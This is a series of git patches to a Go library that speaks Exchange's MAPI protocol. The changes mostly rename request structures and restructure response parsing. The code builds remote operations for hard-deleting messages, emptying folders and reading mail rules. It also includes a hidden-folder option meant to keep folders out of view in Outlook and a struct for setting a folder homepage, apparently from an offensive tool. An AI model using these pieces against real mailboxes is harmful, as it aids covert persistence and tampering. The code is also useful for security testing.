0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF} // @@ -1683,7 +1683,7 @@ func SetPropertyFast(folderid []byte, messageid []byte, property TaggedPropertyV body := props[index:] execRequest := ExecuteRequest{} execRequest.Init() - setFast := RopFastTransferDestinationPutBufferRequest{RopID: 0x54, LogonID: AuthSession.LogonID, InputHandle: 0x02, TransferDataSize: uint16(len(body)), TransferData: body} + setFast := RopFastTransferDestinationPutBufferRequest{RopID: 0x54, LogonID: AuthSession.LogonID, InputHandleIndex: 0x02, TransferDataSize: uint16(len(body)), TransferData: body} fullReq := setFast.Marshal() execRequest.RopBuffer.ROP.ServerObjectHandleTable = append([]byte{0x00, 0x00, 0x00, AuthSession.LogonID}, serverHandles...) //[]byte{0x00, 0x00, 0x00, AuthSession.LogonID, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF} @@ -1708,12 +1708,12 @@ func SaveMessageFast(inputHandle, responseHandle byte, serverHandles []byte) (*R saveMessage := RopSaveChangesMessageRequest{RopID: 0x0C, LogonID: AuthSession.LogonID} saveMessage.ResponseHandleIndex = responseHandle - saveMessage.InputHandle = inputHandle + saveMessage.InputHandleIndex = inputHandle saveMessage.SaveFlags = 0x02 fullReq := saveMessage.Marshal() - ropRelease := RopReleaseRequest{RopID: 0x01, LogonID: AuthSession.LogonID, InputHandle: inputHandle} + ropRelease := RopReleaseRequest{RopID: 0x01, LogonID: AuthSession.LogonID, InputHandleIndex: inputHandle} fullReq = append(fullReq, ropRelease.Marshal()...) execRequest.RopBuffer.ROP.ServerObjectHandleTable = append([]byte{0x00, 0x00, 0x00, AuthSession.LogonID}, serverHandles...) //[]byte{0x00, 0x00, 0x00, AuthSession.LogonID, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF} @@ -1742,15 +1742,15 @@ func DeleteMessages(folderid []byte, messageIDCount int, messageIDs []byte) (*Ro execRequest.Init() getFolder := RopOpenFolderRequest{RopID: 0x02, LogonID: AuthSession.LogonID} - getFolder.InputHandle = 0x00 - getFolder.OutputHandle = 0x01 + getFolder.InputHandleIndex = 0x00 + getFolder.OutputHandleIndex = 0x01 getFolder.FolderID = folderid getFolder.OpenModeFlags = 0x00 fullReq := getFolder.Marshal() //Normal delete 0x1E, hard-delete 0x91 deleteMessages := RopDeleteMessagesRequest{RopID: 0x91, LogonID: AuthSession.LogonID} - deleteMessages.InputHandle = 0x01 + deleteMessages.InputHandleIndex = 0x01 deleteMessages.WantSynchronous = 255 deleteMessages.NotifyNonRead = 0 deleteMessages.MessageIDCount = uint16(messageIDCount) @@ -1758,7 +1758,7 @@ func DeleteMessages(folderid []byte, messageIDCount int, messageIDs []byte) (*Ro fullReq = append(fullReq, deleteMessages.Marshal()...) - ropRelease := RopReleaseRequest{RopID: 0x01, LogonID: AuthSession.LogonID, InputHandle: 0x01} + ropRelease := RopReleaseRequest{RopID: 0x01, LogonID: AuthSession.LogonID, InputHandleIndex: 0x01} fullReq = append(fullReq, ropRelease.Marshal()...) execRequest.RopBuffer.ROP.ServerObjectHandleTable = []byte{0x00, 0x00, 0x00, AuthSession.LogonID, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF} @@ -1791,12 +1791,12 @@ func OpenAttachment(folderid, messageid []byte, attachId uint32, columns []Prope execRequest := ExecuteRequest{} execRequest.Init() - ropRelease := RopReleaseRequest{RopID: 0x01, LogonID: AuthSession.LogonID, InputHandle: 0x01} + ropRelease := RopReleaseRequest{RopID: 0x01, LogonID: AuthSession.LogonID, InputHandleIndex: 0x01} fullReq := ropRelease.Marshal() getMessage := RopOpenMessageRequest{RopID: 0x03, LogonID: AuthSession.LogonID} - getMessage.InputHandle = 0x00 - getMessage.OutputHandle = 0x01 + getMessage.InputHandleIndex = 0x00 + getMessage.OutputHandleIndex = 0x01 getMessage.FolderID = folderid getMessage.MessageID = messageid getMessage.CodePageID = 0xFFF @@ -1810,7 +1810,7 @@ func OpenAttachment(folderid, messageid []byte, attachId uint32, columns []Prope fullReq = append(fullReq, getAttachmentTbl.Marshal()...) fullReq = append(fullReq, getAttachment.Marshal()...) - fastTransfer := RopFastTransferSourceCopyPropertiesRequest{RopID: 0x69, LogonID: AuthSession.LogonID, InputHandle: 0x02, OutputHandle: 0x03} + fastTransfer := RopFastTransferSourceCopyPropertiesRequest{RopID: 0x69, LogonID: AuthSession.LogonID, InputHandleIndex: 0x02, OutputHandleIndex: 0x03} fastTransfer.Level = 0 fastTransfer.CopyFlags = 2 fastTransfer.SendOptions = 1 @@ -1819,7 +1819,7 @@ func OpenAttachment(folderid, messageid []byte, attachId uint32, columns []Prope fullReq = append(fullReq, fastTransfer.Marshal()...) - fastTransferBuffer := RopFastTransferSourceGetBufferRequest{RopID: 0x4E, LogonID: AuthSession.LogonID, InputHandle: 0x03} + fastTransferBuffer := RopFastTransferSourceGetBufferRequest{RopID: 0x4E, LogonID: AuthSession.LogonID, InputHandleIndex: 0x03} fastTransferBuffer.BufferSize = 0xBABE fastTransferBuffer.MaximumBufferSize = 0xBABE @@ -1890,12 +1890,12 @@ func GetAttachments(folderid, messageid []byte) (*RopGetValidAttachmentsResponse execRequest := ExecuteRequest{} execRequest.Init() - ropRelease := RopReleaseRequest{RopID: 0x01, LogonID: AuthSession.LogonID, InputHandle: 0x01} + ropRelease := RopReleaseRequest{RopID: 0x01, LogonID: AuthSession.LogonID, InputHandleIndex: 0x01} fullReq := ropRelease.Marshal() getMessage := RopOpenMessageRequest{RopID: 0x03, LogonID: AuthSession.LogonID} - getMessage.InputHandle = 0x00 - getMessage.OutputHandle = 0x01 + getMessage.InputHandleIndex = 0x00 + getMessage.OutputHandleIndex = 0x01 getMessage.FolderID = folderid getMessage.MessageID = messageid getMessage.CodePageID = 0xFFF @@ -1948,21 +1948,21 @@ func EmptyFolder(folderid []byte) (*RopEmptyFolderResponse, error) { execRequest.Init() getFolder := RopOpenFolderRequest{RopID: 0x02, LogonID: AuthSession.LogonID} - getFolder.InputHandle = 0x00 - getFolder.OutputHandle = 0x01 + getFolder.InputHandleIndex = 0x00 + getFolder.OutputHandleIndex = 0x01 getFolder.FolderID = folderid getFolder.OpenModeFlags = 0x00 fullReq := getFolder.Marshal() emptyFolder := RopEmptyFolderRequest{RopID: 0x58, LogonID: AuthSession.LogonID} - emptyFolder.InputHandle = 0x01 + emptyFolder.InputHandleIndex = 0x01 emptyFolder.WantAsynchronous = 255 emptyFolder.WantDeleteAssociated = 255 fullReq = append(fullReq, emptyFolder.Marshal()...) - ropRelease := RopReleaseRequest{RopID: 0x01, LogonID: AuthSession.LogonID, InputHandle: 0x01} + ropRelease := RopReleaseRequest{RopID: 0x01, LogonID: AuthSession.LogonID, InputHandleIndex: 0x01} fullReq = append(fullReq, ropRelease.Marshal()...) execRequest.RopBuffer.ROP.ServerObjectHandleTable = []byte{0x00, 0x00, 0x00, AuthSession.LogonID, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF} @@ -1996,7 +1996,7 @@ func DeleteFolder(folderid []byte) (*RopDeleteFolderResponse, error) { execRequest.Init() deleteFolder := RopDeleteFolderRequest{RopID: 0x1D, LogonID: AuthSession.LogonID} - deleteFolder.InputHandle = 0x00 + deleteFolder.InputHandleIndex = 0x00 deleteFolder.FolderID = folderid deleteFolder.DeleteFolderFlags = 0x10 | 0x04 | 0x01 @@ -2045,8 +2045,8 @@ func GetFolderFromID(folderid []byte, columns []PropertyTag) (*RopOpenFolderResp //execRequest.MaxRopOut = 262144 getFolder := RopOpenFolderRequest{RopID: 0x02, LogonID: AuthSession.LogonID} - getFolder.InputHandle = 0x00 - getFolder.OutputHandle = 0x01 + getFolder.InputHandleIndex = 0x00 + getFolder.OutputHandleIndex = 0x01 getFolder.FolderID = folderid getFolder.OpenModeFlags = 0x00 @@ -2056,7 +2056,7 @@ func GetFolderFromID(folderid []byte, columns []PropertyTag) (*RopOpenFolderResp getProperties := RopGetPropertiesSpecific{} getProperties.RopID = 0x07 getProperties.LogonID = AuthSession.LogonID - getProperties.InputHandle = 0x01 + getProperties.InputHandleIndex = 0x01 getProperties.PropertySizeLimit = 0x00 getProperties.WantUnicode = 0x01 getProperties.PropertyTagCount = uint16(len(columns)) @@ -2104,12 +2104,12 @@ func OpenMessage(folderid, messageid []byte) ([]byte, error) { execRequest := ExecuteRequest{} execRequest.Init() - ropRelease := RopReleaseRequest{RopID: 0x01, LogonID: AuthSession.LogonID, InputHandle: 0x01} + ropRelease := RopReleaseRequest{RopID: 0x01, LogonID: AuthSession.LogonID, InputHandleIndex: 0x01} fullReq := ropRelease.Marshal() getMessage := RopOpenMessageRequest{RopID: 0x03, LogonID: AuthSession.LogonID} - getMessage.InputHandle = 0x00 - getMessage.OutputHandle = 0x01 + getMessage.InputHandleIndex = 0x00 + getMessage.OutputHandleIndex = 0x01 getMessage.FolderID = folderid getMessage.MessageID = messageid getMessage.CodePageID = 0xFFF @@ -2148,12 +2148,12 @@ func GetMessage(folderid, messageid []byte, columns []PropertyTag) (GetPropertie execRequest := ExecuteRequest{} execRequest.Init() - ropRelease := RopReleaseRequest{RopID: 0x01, LogonID: AuthSession.LogonID, InputHandle: 0x01} + ropRelease := RopReleaseRequest{RopID: 0x01, LogonID: AuthSession.LogonID, InputHandleIndex: 0x01} fullReq := ropRelease.Marshal() getMessage := RopOpenMessageRequest{RopID: 0x03, LogonID: AuthSession.LogonID} - getMessage.InputHandle = 0x00 - getMessage.OutputHandle = 0x01 + getMessage.InputHandleIndex = 0x00 + getMessage.OutputHandleIndex = 0x01 getMessage.FolderID = folderid getMessage.MessageID = messageid getMessage.CodePageID = 0xFFF @@ -2165,7 +2165,7 @@ func GetMessage(folderid, messageid []byte, columns []PropertyTag) (GetPropertie getProperties := RopGetPropertiesSpecific{} getProperties.RopID = 0x07 getProperties.LogonID = AuthSession.LogonID - getProperties.InputHandle = 0x01 + getProperties.InputHandleIndex = 0x01 getProperties.PropertySizeLimit = 0x00 getProperties.WantUnicode = 0x01 getProperties.PropertyTagCount = uint16(len(columns)) @@ -2176,14 +2176,14 @@ func GetMessage(folderid, messageid []byte, columns []PropertyTag) (GetPropertie getPropertiesAll := RopGetPropertiesAllRequest{} getPropertiesAll.RopID = 0x08 getPropertiesAll.LogonID = AuthSession.LogonID - getPropertiesAll.InputHandle = 0x01 + getPropertiesAll.InputHandleIndex = 0x01 getPropertiesAll.PropertySizeLimit = 0x00 getPropertiesAll.WantUnicode = 0x01 fullReq = append(fullReq, getPropertiesAll.Marshal()...) } - //queryRows := RopQueryRowsRequest{RopID: 0x15, LogonID: AuthSession.LogonID, InputHandle: 0x01, QueryRowsFlags: 0x00, ForwardRead: 0x01, RowCount: 0x32} + //queryRows := RopQueryRowsRequest{RopID: 0x15, LogonID: AuthSession.LogonID, InputHandleIndex: 0x01, QueryRowsFlags: 0x00, ForwardRead: 0x01, RowCount: 0x32} //k = append(k, queryRows.Marshal()...) - ropRelease = RopReleaseRequest{RopID: 0x01, LogonID: AuthSession.LogonID, InputHandle: 0x01} + ropRelease = RopReleaseRequest{RopID: 0x01, LogonID: AuthSession.LogonID, InputHandleIndex: 0x01} fullReq = append(fullReq, ropRelease.Marshal()...) execRequest.RopBuffer.ROP.RopsList = fullReq @@ -2230,12 +2230,12 @@ func GetMessageFast(folderid, messageid []byte, columns []PropertyTag) (*RopFast execRequest := ExecuteRequest{} execRequest.Init() - ropRelease := RopReleaseRequest{RopID: 0x01, LogonID: AuthSession.LogonID, InputHandle: 0x01} + ropRelease := RopReleaseRequest{RopID: 0x01, LogonID: AuthSession.LogonID, InputHandleIndex: 0x01} fullReq := ropRelease.Marshal() getMessage := RopOpenMessageRequest{RopID: 0x03, LogonID: AuthSession.LogonID} - getMessage.InputHandle = 0x00 - getMessage.OutputHandle = 0x01 + getMessage.InputHandleIndex = 0x00 + getMessage.OutputHandleIndex = 0x01 getMessage.FolderID = folderid getMessage.MessageID = messageid getMessage.CodePageID = 0xFFF @@ -2243,7 +2243,7 @@ func GetMessageFast(folderid, messageid []byte, columns []PropertyTag) (*RopFast fullReq = append(fullReq, getMessage.Marshal()...) - fastTransfer := RopFastTransferSourceCopyPropertiesRequest{RopID: 0x69, LogonID: AuthSession.LogonID, InputHandle: 0x01, OutputHandle: 0x02} + fastTransfer := RopFastTransferSourceCopyPropertiesRequest{RopID: 0x69, LogonID: AuthSession.LogonID, InputHandleIndex: 0x01, OutputHandleIndex: 0x02} fastTransfer.Level = 0 fastTransfer.CopyFlags = 2 fastTransfer.SendOptions = 1 @@ -2252,7 +2252,7 @@ func GetMessageFast(folderid, messageid []byte, columns []PropertyTag) (*RopFast fullReq = append(fullReq, fastTransfer.Marshal()...) - fastTransferBuffer := RopFastTransferSourceGetBufferRequest{RopID: 0x4E, LogonID: AuthSession.LogonID, InputHandle: 0x02} + fastTransferBuffer := RopFastTransferSourceGetBufferRequest{RopID: 0x4E, LogonID: AuthSession.LogonID, InputHandleIndex: 0x02} fastTransferBuffer.BufferSize = 0xBABE fastTransferBuffer.MaximumBufferSize = 0xBABE @@ -2314,7 +2314,7 @@ func FastTransferFetchStep(handles []byte) ([]byte, error) { execRequest := ExecuteRequest{} execRequest.Init() - fastTransferBuffer := RopFastTransferSourceGetBufferRequest{RopID: 0x4E, LogonID: AuthSession.LogonID, InputHandle: 0x02} + fastTransferBuffer := RopFastTransferSourceGetBufferRequest{RopID: 0x4E, LogonID: AuthSession.LogonID, InputHandleIndex: 0x02} fastTransferBuffer.BufferSize = 0xBABE fastTransferBuffer.MaximumBufferSize = 0xBABE @@ -2376,12 +2376,12 @@ func GetAssocatedContentsTable(folderid []byte) (*RopGetContentsTableResponse, [ func GetContentsTableRequest(folderid []byte, tableFlags byte) (*RopGetContentsTableResponse, []byte, error) { execRequest := ExecuteRequest{} execRequest.Init() - ropRelease := RopReleaseRequest{RopID: 0x01, LogonID: AuthSession.LogonID, InputHandle: 0x01} + ropRelease := RopReleaseRequest{RopID: 0x01, LogonID: AuthSession.LogonID, InputHandleIndex: 0x01} fullReq := ropRelease.Marshal() getFolder := RopOpenFolderRequest{RopID: 0x02, LogonID: AuthSession.LogonID} - getFolder.InputHandle = 0x00 - getFolder.OutputHandle = 0x01 + getFolder.InputHandleIndex = 0x00 + getFolder.OutputHandleIndex = 0x01 getFolder.FolderID = folderid getFolder.OpenModeFlags = 0x00 //fullReq := getFolder.Marshal() @@ -2432,14 +2432,14 @@ func GetFolderHierarchy(folderid []byte) (*RopGetHierarchyTableResponse, []byte, execRequest.MaxRopOut = 262144 getFolder := RopOpenFolderRequest{RopID: 0x02, LogonID: AuthSession.LogonID} - getFolder.InputHandle = 0x00 - getFolder.OutputHandle = 0x01 + getFolder.InputHandleIndex = 0x00 + getFolder.OutputHandleIndex = 0x01 getFolder.FolderID = folderid getFolder.OpenModeFlags = 0x00 fullReq := getFolder.Marshal() //set table flag as 0x04 | 0x40 (Depth and use unicode) - getFolderHierarchy := RopGetHierarchyTableRequest{RopID: 0x04, LogonID: AuthSession.LogonID, InputHandle: 0x01, OutputHandle: 0x02, TableFlags: 0x40} + getFolderHierarchy := RopGetHierarchyTableRequest{RopID: 0x04, LogonID: AuthSession.LogonID, InputHandleIndex: 0x01, OutputHandleIndex: 0x02, TableFlags: 0x40} fullReq = append(fullReq, getFolderHierarchy.Marshal()...) execRequest.RopBuffer.ROP.RopsList = fullReq @@ -2484,7 +2484,7 @@ func GetSubFolders(folderid []byte) (*RopQueryRowsResponse, error) { execRequest.Init() setColumns := RopSetColumnsRequest{RopID: 0x12, LogonID: AuthSession.LogonID} - setColumns.InputHandle = 0x01 + setColumns.InputHandleIndex = 0x01 setColumns.PropertyTagCount = 2 setColumns.PropertyTags = make([]PropertyTag, 2) setColumns.PropertyTags[0] = PidTagDisplayName @@ -2492,7 +2492,7 @@ func GetSubFolders(folderid []byte) (*RopQueryRowsResponse, error) { fullReq := setColumns.Marshal() - queryRows := RopQueryRowsRequest{RopID: 0x15, LogonID: AuthSession.LogonID, InputHandle: 0x01, QueryRowsFlags: 0x00, ForwardRead: 0x01, RowCount: uint16(folderHeirarchy.RowCount)} + queryRows := RopQueryRowsRequest{RopID: 0x15, LogonID: AuthSession.LogonID, InputHandleIndex: 0x01, QueryRowsFlags: 0x00, ForwardRead: 0x01, RowCount: uint16(folderHeirarchy.RowCount)} fullReq = append(fullReq, queryRows.Marshal()...) execRequest.RopBuffer.ROP.RopsList = fullReq execRequest.RopBuffer.ROP.ServerObjectHandleTable = append([]byte{0x01, 0x00, 0x00, AuthSession.LogonID}, svrhndl...) @@ -2537,7 +2537,7 @@ func CreateFolderRequest(folderName string, hidden bool, ftype uint8) (*RopCreat execRequest.Init() execRequest.MaxRopOut = 262144 - createFolder := RopCreateFolderRequest{RopID: 0x1C, LogonID: AuthSession.LogonID, InputHandle: 0x00, OutputHandle: 0x01, Reserved: 0x00} + createFolder := RopCreateFolderRequest{RopID: 0x1C, LogonID: AuthSession.LogonID, InputHandleIndex: 0x00, OutputHandleIndex: 0x01, Reserved: 0x00} createFolder.FolderType = ftype createFolder.UseUnicodeStrings = 0x01 createFolder.OpenExisting = 0x00 @@ -2548,7 +2548,7 @@ func CreateFolderRequest(folderName string, hidden bool, ftype uint8) (*RopCreat //if we want to create a hidden folder (so it doesn't show up in Outlook) if hidden == true { setProperties := RopSetPropertiesRequest{RopID: 0x0A, LogonID: AuthSession.LogonID} - setProperties.InputHandle = 0x01 + setProperties.InputHandleIndex = 0x01 setProperties.PropertValueCount = 1 propertyTags := make([]TaggedPropertyValue, setProperties.PropertValueCount) @@ -2630,7 +2630,7 @@ func GetTableContents(folderid []byte, assoc bool, columns []PropertyTag) (*RopQ execRequest.Init() setColumns := RopSetColumnsRequest{RopID: 0x12, LogonID: AuthSession.LogonID, SetColumnFlags: 0x00} - setColumns.InputHandle = inputHndl + setColumns.InputHandleIndex = inputHndl setColumns.PropertyTagCount = uint16(len(columns)) setColumns.PropertyTags = make([]PropertyTag, setColumns.PropertyTagCount) for k, v := range columns { @@ -2639,10 +2639,10 @@ func GetTableContents(folderid []byte, assoc bool, columns []PropertyTag) (*RopQ fullReq := setColumns.Marshal() - queryRows := RopQueryRowsRequest{RopID: 0x15, LogonID: AuthSession.LogonID, InputHandle: inputHndl, QueryRowsFlags: 0x00, ForwardRead: 0x01, RowCount: uint16(contentsTable.RowCount)} + queryRows := RopQueryRowsRequest{RopID: 0x15, LogonID: AuthSession.LogonID, InputHandleIndex: inputHndl, QueryRowsFlags: 0x00, ForwardRead: 0x01, RowCount: uint16(contentsTable.RowCount)} fullReq = append(fullReq, queryRows.Marshal()...) - ropRelease := RopReleaseRequest{RopID: 0x01, LogonID: AuthSession.LogonID, InputHandle: inputHndl} + ropRelease := RopReleaseRequest{RopID: 0x01, LogonID: AuthSession.LogonID, InputHandleIndex: inputHndl} fullReq = append(fullReq, ropRelease.Marshal()...) execRequest.RopBuffer.ROP.RopsList = fullReq @@ -2705,12 +2705,12 @@ func FetchRules(columns []PropertyTag) (*RopQueryRowsResponse, error) { getRulesFolder := RopGetRulesTableRequest{RopID: 0x3f, LogonID: AuthSession.LogonID, InputHandleIndex: 0x00, OutputHandleIndex: 0x01, TableFlags: 0x40} //RopSetColumns setColumns := RopSetColumnsRequest{RopID: 0x12, LogonID: AuthSession.LogonID} - setColumns.InputHandle = 0x01 + setColumns.InputHandleIndex = 0x01 setColumns.PropertyTagCount = uint16(len(columns)) setColumns.PropertyTags = columns //RopQueryRows - queryRows := RopQueryRowsRequest{RopID: 0x15, LogonID: AuthSession.LogonID, InputHandle: 0x01, QueryRowsFlags: 0x00, ForwardRead: 0x01, RowCount: 0x32} + queryRows := RopQueryRowsRequest{RopID: 0x15, LogonID: AuthSession.LogonID, InputHandleIndex: 0x01, QueryRowsFlags: 0x00, ForwardRead: 0x01, RowCount: 0x32} getRules := append(getRulesFolder.Marshal(), setColumns.Marshal()...) getRules = append(getRules, queryRows.Marshal()...) From 102aeaf04bfb99be2cadf0e48415cbcacc384a59 Mon Sep 17 00:00:00 2001 From: Etienne Stalmans Date: Fri, 8 Sep 2017 10:07:38 +0200 Subject: [PATCH 21/35] This is cosmetic. Renames a few rop structures so that naming convention is standard throughout the code. TODO: check if Liniaal has issues with these changes. --- mapi/datastructs.go | 101 ++++++++++++++++++++++---------------------- mapi/mapi.go | 4 +- 2 files changed, 53 insertions(+), 52 deletions(-) diff --git a/mapi/datastructs.go b/mapi/datastructs.go index b15a02b..73b5977 100644 --- a/mapi/datastructs.go +++ b/mapi/datastructs.go @@ -161,16 +161,9 @@ type RopLogonRequest struct { Essdn []byte } -//RopDisconnectRequest struct -type RopDisconnectRequest struct { - RopID uint8 //0x01 - LogonID uint8 //logonID to use - InputHandleIndex uint8 -} - //RopLogonResponse struct type RopLogonResponse struct { - RopID uint8 + RopID uint8 //0xfe OutputHandleIndex uint8 ReturnValue uint32 LogonFlags byte @@ -184,6 +177,13 @@ type RopLogonResponse struct { StoreState []byte } +//RopDisconnectRequest struct +type RopDisconnectRequest struct { + RopID uint8 //0x01 + LogonID uint8 //logonID to use + InputHandleIndex uint8 +} + //RopGetRulesTableRequest struct type RopGetRulesTableRequest struct { RopID uint8 //0x3f @@ -193,16 +193,6 @@ type RopGetRulesTableRequest struct { TableFlags byte } -//RopModifyRulesRequestBuffer struct -type RopModifyRulesRequestBuffer struct { - RopID uint8 //0x02 - LogonID uint8 - InputHandleIndex uint8 - ModifyRulesFlag byte - RulesCount uint16 - RulesData []byte -} - //RopGetContentsTableRequest struct type RopGetContentsTableRequest struct { RopID uint8 //0x05 @@ -321,8 +311,8 @@ type RopGetPropertiesListResponse struct { PropertyTags []PropertyTag } -//RopGetPropertiesSpecific struct to get propertiesfor a folder -type RopGetPropertiesSpecific struct { +//RopGetPropertiesSpecificRequeststruct to get propertiesfor a folder +type RopGetPropertiesSpecificRequest struct { RopID uint8 //0x07 LogonID uint8 InputHandleIndex uint8 @@ -332,6 +322,15 @@ type RopGetPropertiesSpecific struct { PropertyTags []PropertyTag //[]byte } +//RopGetPropertiesSpecificResponse struct to get propertiesfor a folder +type RopGetPropertiesSpecificResponse struct { + RopID uint8 //0x07 + InputHandleIndex uint8 + ReturnValue uint32 + PropertySizeLimit uint16 + RowData []PropertyRow +} + //RopSetPropertiesRequest struct to set properties on an object type RopSetPropertiesRequest struct { RopID uint8 //0x0A @@ -351,16 +350,7 @@ type RopSetPropertiesResponse struct { PropertyProblems []byte } -//RopGetPropertiesSpecificResponse struct to get propertiesfor a folder -type RopGetPropertiesSpecificResponse struct { - RopID uint8 //0x07 - InputHandleIndex uint8 - ReturnValue uint32 - PropertySizeLimit uint16 - RowData []PropertyRow -} - -//RopGetPropertiesAll struct to get propertiesfor a folder +//RopGetPropertiesAllRequest struct to get all propertiesfor a folder type RopGetPropertiesAllRequest struct { RopID uint8 //0x08 LogonID uint8 @@ -369,7 +359,7 @@ type RopGetPropertiesAllRequest struct { WantUnicode uint16 } -//RopGetPropertiesSpecificResponse struct to get propertiesfor a folder +//RopGetPropertiesAllResponse struct to get all properties for a folder type RopGetPropertiesAllResponse struct { RopID uint8 //0x08 InputHandleIndex uint8 @@ -516,6 +506,15 @@ type RopCreateMessageRequest struct { AssociatedFlag byte //bool } +//RopCreateMessageResponse struct used to open handle to new email message +type RopCreateMessageResponse struct { + RopID uint8 + OutputHandleIndex uint8 + ReturnValue uint32 + HasMessageID byte //bool + MessageID []byte //bool +} + //RopSubmitMessageRequest struct used to open handle to new email message type RopSubmitMessageRequest struct { RopID uint8 @@ -718,6 +717,13 @@ type RopFastTransferSourceCopyPropertiesRequest struct { PropertyTags []PropertyTag } +//RopFastTransferSourceCopyPropertiesResponse struct used to open handle to message +type RopFastTransferSourceCopyPropertiesResponse struct { + RopID uint8 //0x4E + InputHandleIndex uint8 + ReturnValue uint32 +} + //RopFastTransferSourceGetBufferRequest struct used to open handle to message type RopFastTransferSourceGetBufferRequest struct { RopID uint8 //0x4E @@ -727,13 +733,6 @@ type RopFastTransferSourceGetBufferRequest struct { MaximumBufferSize uint16 //0xBABE } -//RopFastTransferSourceCopyPropertiesResponse struct used to open handle to message -type RopFastTransferSourceCopyPropertiesResponse struct { - RopID uint8 //0x4E - InputHandleIndex uint8 - ReturnValue uint32 -} - //RopFastTransferSourceGetBufferResponse struct used to open handle to message type RopFastTransferSourceGetBufferResponse struct { RopID uint8 //0x4E @@ -831,6 +830,13 @@ type RopRestrictRequest struct { RestrictionData []byte } +//RopRestrictResponse strcut +type RopRestrictResponse struct { + RopID uint8 //0x14 + InputHandleIndex uint8 + ReturnValue uint32 +} + //RopSetColumnsRequest struct used to select the columns to use type RopSetColumnsRequest struct { RopID uint8 //0x12 @@ -900,15 +906,6 @@ type RopReleaseResponse struct { ReturnValue uint32 } -//RopCreateMessageResponse struct used to open handle to new email message -type RopCreateMessageResponse struct { - RopID uint8 - OutputHandleIndex uint8 - ReturnValue uint32 - HasMessageID byte //bool - MessageID []byte //bool -} - //RopModifyRulesRequest struct type RopModifyRulesRequest struct { RopID uint8 //0x41 @@ -1031,6 +1028,9 @@ type ActionData struct { Footer []byte } +/*CRuleAction holds a rule element as saved in outlook +This is a reverse engineered struct, not all values are correct/complete +*/ type CRuleAction struct { Head byte Tag []byte @@ -1039,6 +1039,7 @@ type CRuleAction struct { Value []byte } +//PropertyName stuct defines a Named property type PropertyName struct { Kind uint8 //0x00,0x01,0xff GUID []byte //16 byte guid @@ -1047,7 +1048,7 @@ type PropertyName struct { Name []byte //OPTIONAL: if Kind == 0x01 } -/* +/*WebViewPersistenceObjectStream struct containing the data for setting a homepage dwVersion = 0x00000002 = WEBVIEW_PERSISTENCE_VERSION dwType = 0x00000001 = WEBVIEWURL dwFlags = 0x00000001 = WEBVIEW_FLAGS_SHOWBYDEFAULT @@ -1222,8 +1223,8 @@ func (getBuff RopFastTransferDestinationPutBufferRequest) Marshal() []byte { return utils.BodyToBytes(getBuff) } -//Marshal turn RopGetPropertiesSpecific into Bytes -func (getProps RopGetPropertiesSpecific) Marshal() []byte { +//Marshal turn RopGetPropertiesSpecificRequestinto Bytes +func (getProps RopGetPropertiesSpecificRequest) Marshal() []byte { return utils.BodyToBytes(getProps) } diff --git a/mapi/mapi.go b/mapi/mapi.go index 2028197..6168e14 100644 --- a/mapi/mapi.go +++ b/mapi/mapi.go @@ -2053,7 +2053,7 @@ func GetFolderFromID(folderid []byte, columns []PropertyTag) (*RopOpenFolderResp var k []byte if columns != nil { - getProperties := RopGetPropertiesSpecific{} + getProperties := RopGetPropertiesSpecificRequest{} getProperties.RopID = 0x07 getProperties.LogonID = AuthSession.LogonID getProperties.InputHandleIndex = 0x01 @@ -2162,7 +2162,7 @@ func GetMessage(folderid, messageid []byte, columns []PropertyTag) (GetPropertie fullReq = append(fullReq, getMessage.Marshal()...) if columns != nil { - getProperties := RopGetPropertiesSpecific{} + getProperties := RopGetPropertiesSpecificRequest{} getProperties.RopID = 0x07 getProperties.LogonID = AuthSession.LogonID getProperties.InputHandleIndex = 0x01 From ca948b85cb17dedde19030a2c60c0253227ebee9 Mon Sep 17 00:00:00 2001 From: Etienne Stalmans Date: Fri, 8 Sep 2017 10:25:06 +0200 Subject: [PATCH 22/35] starting to change executeResponse to contain the header and body of the rop buffer in RopBuffer. This means no longer having to always set our parsing to start at bufptr:=10 --- mapi/datastructs.go | 18 ++- mapi/mapi.go | 262 ++++++++++++++++++++++---------------------- 2 files changed, 144 insertions(+), 136 deletions(-) diff --git a/mapi/datastructs.go b/mapi/datastructs.go index 73b5977..e09e290 100644 --- a/mapi/datastructs.go +++ b/mapi/datastructs.go @@ -68,7 +68,7 @@ type ExecuteResponse struct { ErrorCode uint32 Flags uint32 //0x00000000 always RopBufferSize uint32 - RopBuffer []byte //struct{} + RopBuffer RopBufferResp //[]byte //struct{} AuxilliaryBufSize uint32 AuxilliaryBuf []byte } @@ -142,6 +142,12 @@ type ROPBuffer struct { ROP ROP } +//RopBufferResp struct +type RopBufferResp struct { + Header []byte + Body []byte +} + //ROP request type ROP struct { RopSize uint16 @@ -1405,7 +1411,7 @@ func (connResponse *ConnectResponse) Unmarshal(resp []byte) error { //Unmarshal function to produce RopLogonResponse struct func (logonResponse *RopLogonResponse) Unmarshal(resp []byte) error { - pos := 10 + pos := 0 logonResponse.RopID, pos = utils.ReadByte(pos, resp) logonResponse.OutputHandleIndex, pos = utils.ReadByte(pos, resp) logonResponse.ReturnValue, pos = utils.ReadUint32(pos, resp) @@ -1430,7 +1436,6 @@ func (logonResponse *RopLogonResponse) Unmarshal(resp []byte) error { //RPC StatusCode,RopBufferSize,Flags,RopBufferSize func (execResponse *ExecuteResponse) Unmarshal(resp []byte) error { pos := 0 - var buf []byte execResponse.StatusCode, pos = utils.ReadUint32(pos, resp) @@ -1448,8 +1453,11 @@ func (execResponse *ExecuteResponse) Unmarshal(resp []byte) error { //execResponse.AuxilliaryBufSize = uint32(0) return fmt.Errorf("Packet size mismatch. RopBuffer Size %d, got packet of %d", execResponse.RopBufferSize, len(resp)) } - buf, pos = utils.ReadBytes(pos, int(execResponse.RopBufferSize)+1, resp) - execResponse.RopBuffer = buf + //parse out ROPBuffer header and body + rpbuff := RopBufferResp{} + rpbuff.Header, pos = utils.ReadBytes(pos, 10, resp) + rpbuff.Body, pos = utils.ReadBytes(pos, int(execResponse.RopBufferSize)-9, resp) + execResponse.RopBuffer = 